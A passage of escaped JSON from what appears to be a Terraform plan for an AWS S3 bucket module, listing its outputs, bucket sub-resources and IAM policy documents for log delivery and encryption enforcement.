{\n                                    \"references\": [\n                                        \"aws_s3_bucket_policy.this[0].id\",\n                                        \"aws_s3_bucket_policy.this[0]\",\n                                        \"aws_s3_bucket_policy.this\",\n                                        \"aws_s3_bucket.this[0].id\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The name of the bucket.\"\n                            },\n                            \"s3_bucket_lifecycle_configuration_rules\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket_lifecycle_configuration.this[0].rule\",\n                                        \"aws_s3_bucket_lifecycle_configuration.this[0]\",\n                                        \"aws_s3_bucket_lifecycle_configuration.this\"\n                                    ]\n                                },\n                                \"description\": \"The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string.\"\n                            },\n                            \"s3_bucket_policy\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket_policy.this[0].policy\",\n                                        \"aws_s3_bucket_policy.this[0]\",\n                                        \"aws_s3_bucket_policy.this\"\n                                    ]\n                                },\n                                \"description\": \"The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string.\"\n                            },\n                            \"s3_bucket_region\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket.this[0].region\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The AWS region this bucket resides in.\"\n                            },\n                            \"s3_bucket_website_domain\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket_website_configuration.this[0].website_domain\",\n                                        \"aws_s3_bucket_website_configuration.this[0]\",\n                                        \"aws_s3_bucket_website_configuration.this\"\n                                    ]\n                                },\n                                \"description\": \"The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records.\"\n                            },\n                            \"s3_bucket_website_endpoint\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket_website_configuration.this[0].website_endpoint\",\n                                        \"aws_s3_bucket_website_configuration.this[0]\",\n                                        \"aws_s3_bucket_website_configuration.this\"\n                                    ]\n                                },\n                                \"description\": \"The website endpoint, if the bucket is configured with a website. If not, this will be an empty string.\"\n                            }\n                        },\n                        \"resources\": [\n                            {\n                                \"address\": \"aws_s3_bucket.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"var.bucket\"\n                                        ]\n                                    },\n                                    \"bucket_prefix\": {\n                                        \"references\": [\n                                            \"var.bucket_prefix\"\n                                        ]\n                                    },\n                                    \"force_destroy\": {\n                                        \"references\": [\n                                            \"var.force_destroy\"\n                                        ]\n                                    },\n                                    \"object_lock_enabled\": {\n                                        \"references\": [\n                                            \"var.object_lock_enabled\"\n                                        ]\n                                    },\n                                    \"tags\": {\n                                        \"references\": [\n                                            \"var.tags\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_accelerate_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_accelerate_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    },\n                                    \"status\": {\n                                        \"references\": [\n                                            \"var.acceleration_status\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.acceleration_status\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_acl.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_acl\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"acl\": {\n                                        \"references\": [\n                                            \"var.acl\",\n                                            \"var.acl\"\n                                        ]\n                                    },\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.create_bucket_acl\"\n                                    ]\n                                },\n                                \"depends_on\": [\n                                    \"aws_s3_bucket_ownership_controls.this\"\n                                ]\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_analytics_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_analytics_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"name\": {\n                                        \"references\": [\n                                            \"each.key\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"for_each_expression\": {\n                                    \"references\": [\n                                        \"var.analytics_configuration\",\n                                        \"local.create_bucket\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_cors_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_cors_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.cors_rules\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_intelligent_tiering_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_intelligent_tiering_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"name\": {\n                                        \"references\": [\n                                            \"each.key\"\n                                        ]\n                                    },\n                                    \"status\": {\n                                        \"references\": [\n                                            \"each.value.status\",\n                                            \"each.value\",\n                                            \"each.value.status\",\n                                            \"each.value\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"for_each_expression\": {\n                                    \"references\": [\n                                        \"local.intelligent_tiering\",\n                                        \"local.create_bucket\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_inventory.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_inventory\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"each.value.bucket\",\n                                            \"each.value\",\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"destination\": [\n                                        {\n                                            \"bucket\": [\n                                                {\n                                                    \"account_id\": {\n                                                        \"references\": [\n                                                            \"each.value.destination.account_id\",\n                                                            \"each.value.destination\",\n                                                            \"each.value\"\n                                                        ]\n                                                    },\n                                                    \"bucket_arn\": {\n                                                        \"references\": [\n                                                            \"each.value.destination.bucket_arn\",\n                                                            \"each.value.destination\",\n                                                            \"each.value\",\n                                                            \"aws_s3_bucket.this[0].arn\",\n                                                            \"aws_s3_bucket.this[0]\",\n                                                            \"aws_s3_bucket.this\"\n                                                        ]\n                                                    },\n                                                    \"format\": {\n                                                        \"references\": [\n                                                            \"each.value.destination.format\",\n                                                            \"each.value.destination\",\n                                                            \"each.value\"\n                                                        ]\n                                                    },\n                                                    \"prefix\": {\n                                                        \"references\": [\n                                                            \"each.value.destination.prefix\",\n                                                            \"each.value.destination\",\n                                                            \"each.value\"\n                                                        ]\n                                                    }\n                                                }\n                                            ]\n                                        }\n                                    ],\n                                    \"enabled\": {\n                                        \"references\": [\n                                            \"each.value.enabled\",\n                                            \"each.value\"\n                                        ]\n                                    },\n                                    \"included_object_versions\": {\n                                        \"references\": [\n                                            \"each.value.included_object_versions\",\n                                            \"each.value\"\n                                        ]\n                                    },\n                                    \"name\": {\n                                        \"references\": [\n                                            \"each.key\"\n                                        ]\n                                    },\n                                    \"optional_fields\": {\n                                        \"references\": [\n                                            \"each.value.optional_fields\",\n                                            \"each.value\"\n                                        ]\n                                    },\n                                    \"schedule\": [\n                                        {\n                                            \"frequency\": {\n                                                \"references\": [\n                                                    \"each.value.frequency\",\n                                                    \"each.value\"\n                                                ]\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"for_each_expression\": {\n                                    \"references\": [\n                                        \"var.inventory_configuration\",\n                                        \"local.create_bucket\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.lifecycle_rules\"\n                                    ]\n                                },\n                                \"depends_on\": [\n                                    \"aws_s3_bucket_versioning.this\"\n                                ]\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_logging.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_logging\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"target_bucket\": {\n                                        \"references\": [\n                                            \"var.logging[\\\"target_bucket\\\"]\",\n                                            \"var.logging\"\n                                        ]\n                                    },\n                                    \"target_prefix\": {\n                                        \"references\": [\n                                            \"var.logging[\\\"target_prefix\\\"]\",\n                                            \"var.logging\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.logging\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_metric.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_metric\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"name\": {\n                                        \"references\": [\n                                            \"each.value.name\",\n                                            \"each.value\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"for_each_expression\": {\n                                    \"references\": [\n                                        \"local.metric_configuration\",\n                                        \"local.create_bucket\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_object_lock_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_object_lock_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    },\n                                    \"rule\": [\n                                        {\n                                            \"default_retention\": [\n                                                {\n                                                    \"days\": {\n                                                        \"references\": [\n                                                            \"var.object_lock_configuration.rule.default_retention.days\",\n                                                            \"var.object_lock_configuration.rule.default_retention\",\n                                                            \"var.object_lock_configuration.rule\",\n                                                            \"var.object_lock_configuration\"\n                                                        ]\n                                                    },\n                                                    \"mode\": {\n                                                        \"references\": [\n                                                            \"var.object_lock_configuration.rule.default_retention.mode\",\n                                                            \"var.object_lock_configuration.rule.default_retention\",\n                                                            \"var.object_lock_configuration.rule\",\n                                                            \"var.object_lock_configuration\"\n                                                        ]\n                                                    },\n                                                    \"years\": {\n                                                        \"references\": [\n                                                            \"var.object_lock_configuration.rule.default_retention.years\",\n                                                            \"var.object_lock_configuration.rule.default_retention\",\n                                                            \"var.object_lock_configuration.rule\",\n                                                            \"var.object_lock_configuration\"\n                                                        ]\n                                                    }\n                                                }\n                                            ]\n                                        }\n                                    ],\n                                    \"token\": {\n                                        \"references\": [\n                                            \"var.object_lock_configuration.token\",\n                                            \"var.object_lock_configuration\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.object_lock_enabled\",\n                                        \"var.object_lock_configuration.rule.default_retention\",\n                                        \"var.object_lock_configuration.rule\",\n                                        \"var.object_lock_configuration\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_ownership_controls.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_ownership_controls\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"local.attach_policy\",\n                                            \"aws_s3_bucket_policy.this[0].id\",\n                                            \"aws_s3_bucket_policy.this[0]\",\n                                            \"aws_s3_bucket_policy.this\",\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"rule\": [\n                                        {\n                                            \"object_ownership\": {\n                                                \"references\": [\n                                                    \"var.object_ownership\"\n                                                ]\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.control_object_ownership\"\n                                    ]\n                                },\n                                \"depends_on\": [\n                                    \"aws_s3_bucket_policy.this\",\n                                    \"aws_s3_bucket_public_access_block.this\",\n                                    \"aws_s3_bucket.this\"\n                                ]\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_policy.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_policy\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"policy\": {\n                                        \"references\": [\n                                            \"data.aws_iam_policy_document.combined[0].json\",\n                                            \"data.aws_iam_policy_document.combined[0]\",\n                                            \"data.aws_iam_policy_document.combined\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.attach_policy\"\n                                    ]\n                                },\n                                \"depends_on\": [\n                                    \"aws_s3_bucket_public_access_block.this\"\n                                ]\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_public_access_block.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_public_access_block\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"block_public_acls\": {\n                                        \"references\": [\n                                            \"var.block_public_acls\"\n                                        ]\n                                    },\n                                    \"block_public_policy\": {\n                                        \"references\": [\n                                            \"var.block_public_policy\"\n                                        ]\n                                    },\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"ignore_public_acls\": {\n                                        \"references\": [\n                                            \"var.ignore_public_acls\"\n                                        ]\n                                    },\n                                    \"restrict_public_buckets\": {\n                                        \"references\": [\n                                            \"var.restrict_public_buckets\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_public_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_replication_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_replication_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"role\": {\n                                        \"references\": [\n                                            \"var.replication_configuration[\\\"role\\\"]\",\n                                            \"var.replication_configuration\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.replication_configuration\"\n                                    ]\n                                },\n                                \"depends_on\": [\n                                    \"aws_s3_bucket_versioning.this\"\n                                ]\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_request_payment_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_request_payment_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    },\n                                    \"payer\": {\n                                        \"references\": [\n                                            \"var.request_payer\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.request_payer\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_server_side_encryption_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_server_side_encryption_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.server_side_encryption_configuration\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_versioning.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_versioning\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    },\n                                    \"mfa\": {\n                                        \"references\": [\n                                            \"var.versioning[\\\"mfa\\\"]\",\n                                            \"var.versioning\"\n                                        ]\n                                    },\n                                    \"versioning_configuration\": [\n                                        {\n                                            \"mfa_delete\": {\n                                                \"references\": [\n                                                    \"var.versioning[\\\"mfa_delete\\\"]\",\n                                                    \"var.versioning\",\n                                                    \"var.versioning[\\\"mfa_delete\\\"]\",\n                                                    \"var.versioning\"\n                                                ]\n                                            },\n                                            \"status\": {\n                                                \"references\": [\n                                                    \"var.versioning[\\\"enabled\\\"]\",\n                                                    \"var.versioning\",\n                                                    \"var.versioning[\\\"status\\\"]\",\n                                                    \"var.versioning\",\n                                                    \"var.versioning[\\\"status\\\"]\",\n                                                    \"var.versioning\"\n                                                ]\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.versioning\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"aws_s3_bucket_website_configuration.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket_website_configuration\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"references\": [\n                                            \"aws_s3_bucket.this[0].id\",\n                                            \"aws_s3_bucket.this[0]\",\n                                            \"aws_s3_bucket.this\"\n                                        ]\n                                    },\n                                    \"expected_bucket_owner\": {\n                                        \"references\": [\n                                            \"var.expected_bucket_owner\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.website\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_caller_identity.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_caller_identity\",\n                                \"name\": \"current\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"schema_version\": 0\n                            },\n                            {\n                                \"address\": \"data.aws_canonical_user_id.this\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_canonical_user_id\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.create_bucket_acl\",\n                                        \"var.owner[\\\"id\\\"]\",\n                                        \"var.owner\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.access_log_delivery\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"access_log_delivery\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"logging.s3.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"AWSAccessLogDeliveryWrite\"\n                                            }\n                                        },\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:GetBucketAcl\"\n                                                ]\n                                            },\n                                            \"effect\": {\n                                                \"constant_value\": \"Allow\"\n                                            },\n                                            \"principals\": [\n                                                {\n                                                    \"identifiers\": {\n                                                        \"constant_value\": [\n                                                            \"logging.s3.amazonaws.com\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"constant_value\": \"Service\"\n                                                    }\n                                                }\n                                            ],\n                                            \"resources\": {\n                                                \"references\": [\n                                                    \"aws_s3_bucket.this[0].arn\",\n                                                    \"aws_s3_bucket.this[0]\",\n                                                    \"aws_s3_bucket.this\"\n                                                ]\n                                            },\n                                            \"sid\": {\n                                                \"constant_value\": \"AWSAccessLogDeliveryAclCheck\"\n                                            }\n                                        }\n                                    ]\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"var.attach_access_log_delivery_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.combined\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"combined\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"source_policy_documents\": {\n                                        \"references\": [\n                                            \"var.attach_elb_log_delivery_policy\",\n                                            \"data.aws_iam_policy_document.elb_log_delivery[0].json\",\n                                            \"data.aws_iam_policy_document.elb_log_delivery[0]\",\n                                            \"data.aws_iam_policy_document.elb_log_delivery\",\n                                            \"var.attach_lb_log_delivery_policy\",\n                                            \"data.aws_iam_policy_document.lb_log_delivery[0].json\",\n                                            \"data.aws_iam_policy_document.lb_log_delivery[0]\",\n                                            \"data.aws_iam_policy_document.lb_log_delivery\",\n                                            \"var.attach_access_log_delivery_policy\",\n                                            \"data.aws_iam_policy_document.access_log_delivery[0].json\",\n                                            \"data.aws_iam_policy_document.access_log_delivery[0]\",\n                                            \"data.aws_iam_policy_document.access_log_delivery\",\n                                            \"var.attach_require_latest_tls_policy\",\n                                            \"data.aws_iam_policy_document.require_latest_tls[0].json\",\n                                            \"data.aws_iam_policy_document.require_latest_tls[0]\",\n                                            \"data.aws_iam_policy_document.require_latest_tls\",\n                                            \"var.attach_deny_insecure_transport_policy\",\n                                            \"data.aws_iam_policy_document.deny_insecure_transport[0].json\",\n                                            \"data.aws_iam_policy_document.deny_insecure_transport[0]\",\n                                            \"data.aws_iam_policy_document.deny_insecure_transport\",\n                                            \"var.attach_deny_unencrypted_object_uploads\",\n                                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json\",\n                                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]\",\n                                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                                            \"var.attach_deny_incorrect_kms_key_sse\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                                            \"var.attach_deny_incorrect_encryption_headers\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]\",\n                                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                                            \"var.attach_inventory_destination_policy\",\n                                            \"var.attach_analytics_destination_policy\",\n                                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json\",\n                                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]\",\n                                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                                            \"var.attach_policy\",\n                                            \"var.policy\"\n                                        ]\n                                    }\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\n                                    \"references\": [\n                                        \"local.create_bucket\",\n                                        \"local.attach_policy\"\n                                    ]\n                                }\n                            },\n                            {\n                                \"address\": \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_iam_policy_document\",\n                                \"name\": \"deny_incorrect_encryption_headers\",\n                                \"provider_config_key\": \"s3-bucket:aws\",\n                                \"expressions\": {\n                                    \"statement\": [\n                                        {\n                                            \"actions\": {\n                                                \"constant_value\": [\n                                                    \"s3:PutObject\"\n                                                ]\n                                            },\n                                            \"condition\": [\n                                                {\n                                                    \"test\": {\n                                                        \"constant_value\": \"StringNotEquals\"\n                                                    },\n                                                    \"values\": {\n                                                        \"references\": [\n                                                            \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\",\n                                                            \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default\",\n                                                            \"var.server_side_encryption_configuration.rule\",\n                                                            \"var.server_side_encryption_configuration\"\n                                                        ]\n                                                    },\n                                                    \"variable\": {\n                                                        \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                                    }\n                                                }\n                                            ],\n                                            \"effect\": {\n                                                